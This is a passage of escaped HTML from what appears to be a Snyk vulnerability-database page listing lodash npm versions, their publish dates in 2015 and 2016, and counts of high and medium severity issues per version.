data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.1.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.1.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.1.0\" published=\"29 Jan, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.1.0\" data-v-90f947a4>\n          29 Jan, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.0.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.0.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.0.1\" published=\"25 Jan, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.0.1\" data-v-90f947a4>\n          25 Jan, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.0.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.0.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.0.0\" published=\"12 Jan, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.0.0\" data-v-90f947a4>\n          12 Jan, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/3.10.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                3.10.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"3.10.1\" published=\"4 Aug, 2015\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/3.10.1\" data-v-90f947a4>\n          4 Aug, 2015\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/3.10.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                3.10.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"3.10.0\" published=\"30 Jun, 2015\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/3.10.0\" data-v-90f947a4>\n          30 Jun, 2015\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/3.9.3\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                3.9.3\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"3.9.3\" published=\"26 May, 2015\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/3.9.3\" data-v-90f947a4>\n          26 May, 2015\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/3.9.2\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                3.9.2\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"3.9.2\" published=\"24 May, 2015\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/3.9.2\" data-v-90f947a4>\n          24 May, 2015\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/3.9.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                3.9.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"3.9.1\" published=\"19 May, 2015\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/3.9.1\" data-v-90f947a4>\n          19 May, 2015\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/3.9.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                3.9.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"3.9.0\" published=\"19 May, 2015\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/3.9.0\" data-v-90f947a4>\n          19 May, 2015\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/3.8.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                3.8.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"3.8.0\" published=\"1 May, 2015\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/3.8.0\" data-v-90f947a4>\n          1 May, 2015\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/2.4.2\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                2.4.2\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"2.4.2\" published=\"26 Apr, 2015\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/2.4.2\" data-v-90f947a4>\n          26 Apr, 2015\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/3.7.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                3.7.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"3.7.0\" published=\"16 Apr, 2015\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/3.7.0\" data-v-90f947a4>\n          16 Apr, 2015\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/1.0.2\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                1.0.2\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"1.0.2\" published=\"30 Mar, 2015\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/1.0.2\" data-v-90f947a4>\n          30 Mar, 2015\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/3.6.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                3.6.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"3.6.0\" published=\"25 Mar, 2015\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/3.6.0\" data-v-90f947a4>\n          25 Mar, 2015\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/3.5.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 